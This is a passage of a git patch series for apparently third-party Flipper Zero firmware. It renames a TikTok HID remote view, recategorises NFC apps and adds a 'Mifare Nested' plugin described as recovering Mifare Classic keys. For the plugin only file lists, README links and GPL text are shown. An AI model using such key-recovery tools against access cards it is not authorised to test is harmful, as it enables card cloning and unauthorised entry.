furi_delay_ms(50); + hid_hal_mouse_release(hid_tikshorts->hid, HID_MOUSE_BTN_LEFT); consumed = true; } } else if(event->type == InputTypeLong) { if(event->key == InputKeyBack) { - hid_hal_consumer_key_release_all(hid_ytshorts->hid); + hid_hal_consumer_key_release_all(hid_tikshorts->hid); model->is_cursor_set = false; consumed = false; } @@ -230,40 +229,40 @@ static bool hid_ytshorts_input_callback(InputEvent* event, void* context) { return consumed; } -HidYTShorts* hid_ytshorts_alloc(Hid* bt_hid) { - HidYTShorts* hid_ytshorts = malloc(sizeof(HidYTShorts)); - hid_ytshorts->hid = bt_hid; - hid_ytshorts->view = view_alloc(); - view_set_context(hid_ytshorts->view, hid_ytshorts); - view_allocate_model(hid_ytshorts->view, ViewModelTypeLocking, sizeof(HidYTShortsModel)); - view_set_draw_callback(hid_ytshorts->view, hid_ytshorts_draw_callback); - view_set_input_callback(hid_ytshorts->view, hid_ytshorts_input_callback); +HidTikShorts* hid_tikshorts_alloc(Hid* bt_hid) { + HidTikShorts* hid_tikshorts = malloc(sizeof(HidTikShorts)); + hid_tikshorts->hid = bt_hid; + hid_tikshorts->view = view_alloc(); + view_set_context(hid_tikshorts->view, hid_tikshorts); + view_allocate_model(hid_tikshorts->view, ViewModelTypeLocking, sizeof(HidTikShortsModel)); + view_set_draw_callback(hid_tikshorts->view, hid_tikshorts_draw_callback); + view_set_input_callback(hid_tikshorts->view, hid_tikshorts_input_callback); with_view_model( - hid_ytshorts->view, - HidYTShortsModel * model, + hid_tikshorts->view, + HidTikShortsModel * model, { model->transport = bt_hid->transport; }, true); - return hid_ytshorts; + return hid_tikshorts; } -void hid_ytshorts_free(HidYTShorts* hid_ytshorts) { - furi_assert(hid_ytshorts); - view_free(hid_ytshorts->view); - free(hid_ytshorts); +void hid_tikshorts_free(HidTikShorts* hid_tikshorts) { + furi_assert(hid_tikshorts); + view_free(hid_tikshorts->view); + free(hid_tikshorts); } -View* hid_ytshorts_get_view(HidYTShorts* hid_ytshorts) { - furi_assert(hid_ytshorts); - return hid_ytshorts->view; +View* hid_tikshorts_get_view(HidTikShorts* hid_tikshorts) { + furi_assert(hid_tikshorts); + return hid_tikshorts->view; } -void hid_ytshorts_set_connected_status(HidYTShorts* hid_ytshorts, bool connected) { - furi_assert(hid_ytshorts); +void hid_tikshorts_set_connected_status(HidTikShorts* hid_tikshorts, bool connected) { + furi_assert(hid_tikshorts); with_view_model( - hid_ytshorts->view, - HidYTShortsModel * model, + hid_tikshorts->view, + HidTikShortsModel * model, { model->connected = connected; model->is_cursor_set = false; diff --git a/applications/external/hid_app/views/hid_tikshorts.h b/applications/external/hid_app/views/hid_tikshorts.h new file mode 100644 index 000000000..5604962ee --- /dev/null +++ b/applications/external/hid_app/views/hid_tikshorts.h @@ -0,0 +1,14 @@ +#pragma once + +#include + +typedef struct Hid Hid; +typedef struct HidTikShorts HidTikShorts; + +HidTikShorts* hid_tikshorts_alloc(Hid* bt_hid); + +void hid_tikshorts_free(HidTikShorts* hid_tikshorts); + +View* hid_tikshorts_get_view(HidTikShorts* hid_tikshorts); + +void hid_tikshorts_set_connected_status(HidTikShorts* hid_tikshorts, bool connected); diff --git a/applications/external/hid_app/views/hid_tiktok.c b/applications/external/hid_app/views/hid_tiktok.c deleted file mode 100644 index 4dfbde4eb..000000000 --- a/applications/external/hid_app/views/hid_tiktok.c +++ /dev/null @@ -1,256 +0,0 @@ -#include "hid_tiktok.h" -#include "../hid.h" -#include - -#include "hid_icons.h" - -#define TAG "HidTikTok" - -struct HidTikTok { - View* view; - Hid* hid; -}; - -typedef struct { - bool left_pressed; - bool up_pressed; - bool right_pressed; - bool down_pressed; - bool ok_pressed; - bool connected; - bool is_cursor_set; - bool back_mouse_pressed; - HidTransport transport; -} HidTikTokModel; - -static void hid_tiktok_draw_callback(Canvas* canvas, void* context) { - furi_assert(context); - HidTikTokModel* model = context; - - // Header - if(model->transport == HidTransportBle) { - if(model->connected) { - canvas_draw_icon(canvas, 0, 0, &I_Ble_connected_15x15); - } else { - canvas_draw_icon(canvas, 0, 0, &I_Ble_disconnected_15x15); - } - } - - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned(canvas, 17, 3, AlignLeft, AlignTop, "TikTok"); - canvas_set_font(canvas, FontSecondary); - - // Keypad circles - canvas_draw_icon(canvas, 58, 3, &I_OutCircles); - - // Pause - if(model->back_mouse_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 107, 33, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 113, 37, &I_Pause_icon_9x9); - canvas_set_color(canvas, ColorBlack); - - // Up - if(model->up_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 6, &I_S_UP); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 8, &I_Arr_up_7x9); - canvas_set_color(canvas, ColorBlack); - - // Down - if(model->down_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 68, 36, &I_S_DOWN); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 80, 40, &I_Arr_dwn_7x9); - canvas_set_color(canvas, ColorBlack); - - // Left - if(model->left_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 61, 13, &I_S_LEFT); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 64, 25, &I_Voldwn_6x6); - canvas_set_color(canvas, ColorBlack); - - // Right - if(model->right_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 91, 13, &I_S_RIGHT); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 95, 25, &I_Volup_8x6); - canvas_set_color(canvas, ColorBlack); - - // Ok - if(model->ok_pressed) { - canvas_set_bitmap_mode(canvas, 1); - canvas_draw_icon(canvas, 74, 19, &I_Pressed_Button_19x19); - canvas_set_bitmap_mode(canvas, 0); - canvas_set_color(canvas, ColorWhite); - } - canvas_draw_icon(canvas, 78, 25, &I_Like_def_11x9); - canvas_set_color(canvas, ColorBlack); - - // Exit - canvas_draw_icon(canvas, 0, 54, &I_Pin_back_arrow_10x8); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned(canvas, 13, 62, AlignLeft, AlignBottom, "Hold to exit"); -} - -static void hid_tiktok_reset_cursor(HidTikTok* hid_tiktok) { - // Set cursor to the phone's left up corner - // Delays to guarantee one packet per connection interval - for(size_t i = 0; i < 8; i++) { - hid_hal_mouse_move(hid_tiktok->hid, -127, -127); - furi_delay_ms(50); - } - // Move cursor from the corner - hid_hal_mouse_move(hid_tiktok->hid, 40, 120); - hid_hal_mouse_move(hid_tiktok->hid, 0, 120); - furi_delay_ms(50); -} - -static void - hid_tiktok_process_press(HidTikTok* hid_tiktok, HidTikTokModel* model, InputEvent* event) { - if(event->key == InputKeyUp) { - model->up_pressed = true; - } else if(event->key == InputKeyDown) { - model->down_pressed = true; - } else if(event->key == InputKeyLeft) { - model->left_pressed = true; - hid_hal_consumer_key_press(hid_tiktok->hid, HID_CONSUMER_VOLUME_DECREMENT); - } else if(event->key == InputKeyRight) { - model->right_pressed = true; - hid_hal_consumer_key_press(hid_tiktok->hid, HID_CONSUMER_VOLUME_INCREMENT); - } else if(event->key == InputKeyOk) { - model->ok_pressed = true; - } else if(event->key == InputKeyBack) { - model->back_mouse_pressed = true; - } -} - -static void - hid_tiktok_process_release(HidTikTok* hid_tiktok, HidTikTokModel* model, InputEvent* event) { - if(event->key == InputKeyUp) { - model->up_pressed = false; - } else if(event->key == InputKeyDown) { - model->down_pressed = false; - } else if(event->key == InputKeyLeft) { - model->left_pressed = false; - hid_hal_consumer_key_release(hid_tiktok->hid, HID_CONSUMER_VOLUME_DECREMENT); - } else if(event->key == InputKeyRight) { - model->right_pressed = false; - hid_hal_consumer_key_release(hid_tiktok->hid, HID_CONSUMER_VOLUME_INCREMENT); - } else if(event->key == InputKeyOk) { - model->ok_pressed = false; - } else if(event->key == InputKeyBack) { - model->back_mouse_pressed = false; - } -} - -static bool hid_tiktok_input_callback(InputEvent* event, void* context) { - furi_assert(context); - HidTikTok* hid_tiktok = context; - bool consumed = false; - - with_view_model( - hid_tiktok->view, - HidTikTokModel * model, - { - if(event->type == InputTypePress) { - hid_tiktok_process_press(hid_tiktok, model, event); - if(model->connected && !model->is_cursor_set) { - hid_tiktok_reset_cursor(hid_tiktok); - model->is_cursor_set = true; - } - consumed = true; - } else if(event->type == InputTypeRelease) { - hid_tiktok_process_release(hid_tiktok, model, event); - consumed = true; - } else if(event->type == InputTypeShort) { - if(event->key == InputKeyOk) { - hid_hal_mouse_press(hid_tiktok->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(25); - hid_hal_mouse_release(hid_tiktok->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(100); - hid_hal_mouse_press(hid_tiktok->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(25); - hid_hal_mouse_release(hid_tiktok->hid, HID_MOUSE_BTN_LEFT); - consumed = true; - } else if(event->key == InputKeyDown) { - // Swipe to previous video - hid_hal_mouse_scroll(hid_tiktok->hid, 19); - consumed = true; - } else if(event->key == InputKeyUp) { - // Swipe to new video - hid_hal_mouse_scroll(hid_tiktok->hid, -19); - consumed = true; - } else if(event->key == InputKeyBack) { - // Pause - hid_hal_mouse_press(hid_tiktok->hid, HID_MOUSE_BTN_LEFT); - furi_delay_ms(50); - hid_hal_mouse_release(hid_tiktok->hid, HID_MOUSE_BTN_LEFT); - consumed = true; - } - } else if(event->type == InputTypeLong) { - if(event->key == InputKeyBack) { - hid_hal_consumer_key_release_all(hid_tiktok->hid); - model->is_cursor_set = false; - consumed = false; - } - } - }, - true); - - return consumed; -} - -HidTikTok* hid_tiktok_alloc(Hid* bt_hid) { - HidTikTok* hid_tiktok = malloc(sizeof(HidTikTok)); - hid_tiktok->hid = bt_hid; - hid_tiktok->view = view_alloc(); - view_set_context(hid_tiktok->view, hid_tiktok); - view_allocate_model(hid_tiktok->view, ViewModelTypeLocking, sizeof(HidTikTokModel)); - view_set_draw_callback(hid_tiktok->view, hid_tiktok_draw_callback); - view_set_input_callback(hid_tiktok->view, hid_tiktok_input_callback); - - with_view_model( - hid_tiktok->view, HidTikTokModel * model, { model->transport = bt_hid->transport; }, true); - - return hid_tiktok; -} - -void hid_tiktok_free(HidTikTok* hid_tiktok) { - furi_assert(hid_tiktok); - view_free(hid_tiktok->view); - free(hid_tiktok); -} - -View* hid_tiktok_get_view(HidTikTok* hid_tiktok) { - furi_assert(hid_tiktok); - return hid_tiktok->view; -} - -void hid_tiktok_set_connected_status(HidTikTok* hid_tiktok, bool connected) { - furi_assert(hid_tiktok); - with_view_model( - hid_tiktok->view, - HidTikTokModel * model, - { - model->connected = connected; - model->is_cursor_set = false; - }, - true); -} diff --git a/applications/external/hid_app/views/hid_tiktok.h b/applications/external/hid_app/views/hid_tiktok.h deleted file mode 100644 index b2efc3692..000000000 --- a/applications/external/hid_app/views/hid_tiktok.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidTikTok HidTikTok; - -HidTikTok* hid_tiktok_alloc(Hid* bt_hid); - -void hid_tiktok_free(HidTikTok* hid_tiktok); - -View* hid_tiktok_get_view(HidTikTok* hid_tiktok); - -void hid_tiktok_set_connected_status(HidTikTok* hid_tiktok, bool connected); diff --git a/applications/external/hid_app/views/hid_ytshorts.h b/applications/external/hid_app/views/hid_ytshorts.h deleted file mode 100644 index 03264dd36..000000000 --- a/applications/external/hid_app/views/hid_ytshorts.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include - -typedef struct Hid Hid; -typedef struct HidYTShorts HidYTShorts; - -HidYTShorts* hid_ytshorts_alloc(Hid* bt_hid); - -void hid_ytshorts_free(HidYTShorts* hid_ytshorts); - -View* hid_ytshorts_get_view(HidYTShorts* hid_ytshorts); - -void hid_ytshorts_set_connected_status(HidYTShorts* hid_ytshorts, bool connected); From adb236d8b6e24d6497bc2448bad9ea56b62c2c49 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 27 May 2023 18:38:49 +0300 Subject: [PATCH 067/100] move nfc apps into NFC folder --- applications/external/mfkey32/application.fam | 2 +- applications/external/nfc_magic/application.fam | 2 +- applications/external/picopass/application.fam | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/external/mfkey32/application.fam b/applications/external/mfkey32/application.fam index eb11aec2c..75fa40bf6 100644 --- a/applications/external/mfkey32/application.fam +++ b/applications/external/mfkey32/application.fam @@ -10,7 +10,7 @@ App( ], stack_size=1 * 1024, fap_icon="mfkey.png", - fap_category="Tools", + fap_category="NFC", fap_author="noproto", fap_icon_assets="images", fap_weburl="https://github.com/noproto/FlipperMfkey", diff --git a/applications/external/nfc_magic/application.fam b/applications/external/nfc_magic/application.fam index db0af81d4..717387d58 100644 --- a/applications/external/nfc_magic/application.fam +++ b/applications/external/nfc_magic/application.fam @@ -11,7 +11,7 @@ App( stack_size=4 * 1024, order=30, fap_icon="../../../assets/icons/Archive/Nfc_10px.png", - fap_category="Tools", + fap_category="NFC", fap_private_libs=[ Lib( name="magic", diff --git a/applications/external/picopass/application.fam b/applications/external/picopass/application.fam index 387566646..34c3f785c 100644 --- a/applications/external/picopass/application.fam +++ b/applications/external/picopass/application.fam @@ -11,7 +11,7 @@ App( stack_size=4 * 1024, order=30, fap_icon="125_10px.png", - fap_category="Tools", + fap_category="NFC", fap_libs=["mbedtls"], fap_private_libs=[ Lib( From 70a7ab7f2e38b61acbeae7697c2b4959ae8eb540 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 27 May 2023 23:55:48 +0300 Subject: [PATCH 068/100] Move mifare nested plugin from extra pack to base fw --- ReadMe.md | 3 + .../external/mifare_nested/LICENSE.md | 674 +++++++ applications/external/mifare_nested/README.md | 38 + applications/external/mifare_nested/TODO.md | 3 + .../external/mifare_nested/application.fam | 25 + .../mifare_nested/assets/ApplyTag.png | Bin 0 -> 3804 bytes .../mifare_nested/assets/DolphinCry.png | Bin 0 -> 3898 bytes .../mifare_nested/assets/DolphinSuccess.png | Bin 0 -> 2681 bytes .../external/mifare_nested/assets/Loading.png | Bin 0 -> 3649 bytes .../external/mifare_nested/assets/icon.png | Bin 0 -> 145 bytes .../mifare_nested/lib/crypto1/crypto1.c | 118 ++ .../mifare_nested/lib/crypto1/crypto1.h | 39 + .../mifare_nested/lib/nested/nested.c | 740 ++++++++ .../mifare_nested/lib/nested/nested.h | 118 ++ .../mifare_nested/lib/parity/parity.c | 71 + .../mifare_nested/lib/parity/parity.h | 10 + .../external/mifare_nested/mifare_nested.c | 408 ++++ .../external/mifare_nested/mifare_nested.h | 3 + .../external/mifare_nested/mifare_nested_i.h | 180 ++ .../mifare_nested/mifare_nested_worker.c | 1663 +++++++++++++++++ .../mifare_nested/mifare_nested_worker.h | 89 + .../mifare_nested/mifare_nested_worker_i.h | 28 + .../scenes/mifare_nested_scene.c | 30 + .../scenes/mifare_nested_scene.h | 29 + .../scenes/mifare_nested_scene_about.c | 77 + .../scenes/mifare_nested_scene_added_keys.c | 76 + .../scenes/mifare_nested_scene_check.c | 102 + .../scenes/mifare_nested_scene_check_keys.c | 124 ++ .../scenes/mifare_nested_scene_collecting.c | 154 ++ .../scenes/mifare_nested_scene_config.h | 13 + .../scenes/mifare_nested_scene_failed.c | 59 + .../mifare_nested_scene_need_collection.c | 56 + .../mifare_nested_scene_need_key_recovery.c | 59 + .../scenes/mifare_nested_scene_no_keys.c | 61 + .../mifare_nested_scene_nonces_collected.c | 58 + .../scenes/mifare_nested_scene_settings.c | 65 + .../scenes/mifare_nested_scene_start.c | 84 + ...fare_nested_scene_static_encrypted_nonce.c | 58 + 38 files changed, 5315 insertions(+) create mode 100644 applications/external/mifare_nested/LICENSE.md create mode 100644 applications/external/mifare_nested/README.md create mode 100644 applications/external/mifare_nested/TODO.md create mode 100644 applications/external/mifare_nested/application.fam create mode 100644 applications/external/mifare_nested/assets/ApplyTag.png create mode 100644 applications/external/mifare_nested/assets/DolphinCry.png create mode 100644 applications/external/mifare_nested/assets/DolphinSuccess.png create mode 100644 applications/external/mifare_nested/assets/Loading.png create mode 100644 applications/external/mifare_nested/assets/icon.png create mode 100644 applications/external/mifare_nested/lib/crypto1/crypto1.c create mode 100644 applications/external/mifare_nested/lib/crypto1/crypto1.h create mode 100644 applications/external/mifare_nested/lib/nested/nested.c create mode 100644 applications/external/mifare_nested/lib/nested/nested.h create mode 100644 applications/external/mifare_nested/lib/parity/parity.c create mode 100644 applications/external/mifare_nested/lib/parity/parity.h create mode 100644 applications/external/mifare_nested/mifare_nested.c create mode 100644 applications/external/mifare_nested/mifare_nested.h create mode 100644 applications/external/mifare_nested/mifare_nested_i.h create mode 100644 applications/external/mifare_nested/mifare_nested_worker.c create mode 100644 applications/external/mifare_nested/mifare_nested_worker.h create mode 100644 applications/external/mifare_nested/mifare_nested_worker_i.h create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene.h create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_about.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_check.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_config.h create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_failed.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_need_collection.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_need_key_recovery.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_no_keys.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_start.c create mode 100644 applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c diff --git a/ReadMe.md b/ReadMe.md index fe6c7fb34..e25896a23 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -165,6 +165,7 @@ You can support us by using links or addresses below: - **SWD Probe** [(by g3gg0)](https://github.com/g3gg0/flipper-swd_probe) - IR Scope [(by kallanreed)](https://github.com/DarkFlippers/unleashed-firmware/pull/407) - BadBT plugin (BT version of BadKB) [(by Willy-JL, ClaraCrazy, XFW contributors)](https://github.com/ClaraCrazy/Flipper-Xtreme/tree/dev/applications/main/bad_kb) +- [Flipper (Mifare) Nested (by AloneLiberty)](https://github.com/AloneLiberty/FlipperNested) - Works with PC and python app `FlipperNested` Games: - DOOM (fixed) [(by p4nic4ttack)](https://github.com/p4nic4ttack/doom-flipper-zero/) @@ -193,6 +194,8 @@ Games: ## [- How to change Flipper name](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/CustomFlipperName.md) +## [- How to use (Mifare) Nested plugin to recover keys](https://github.com/AloneLiberty/FlipperNested#how-to-use-it) + ### **Sub-GHz** ## [- Transmission is blocked? - How to extend Sub-GHz frequency range](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/DangerousSettings.md) diff --git a/applications/external/mifare_nested/LICENSE.md b/applications/external/mifare_nested/LICENSE.md new file mode 100644 index 000000000..f288702d2 --- /dev/null +++ b/applications/external/mifare_nested/LICENSE.md @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third 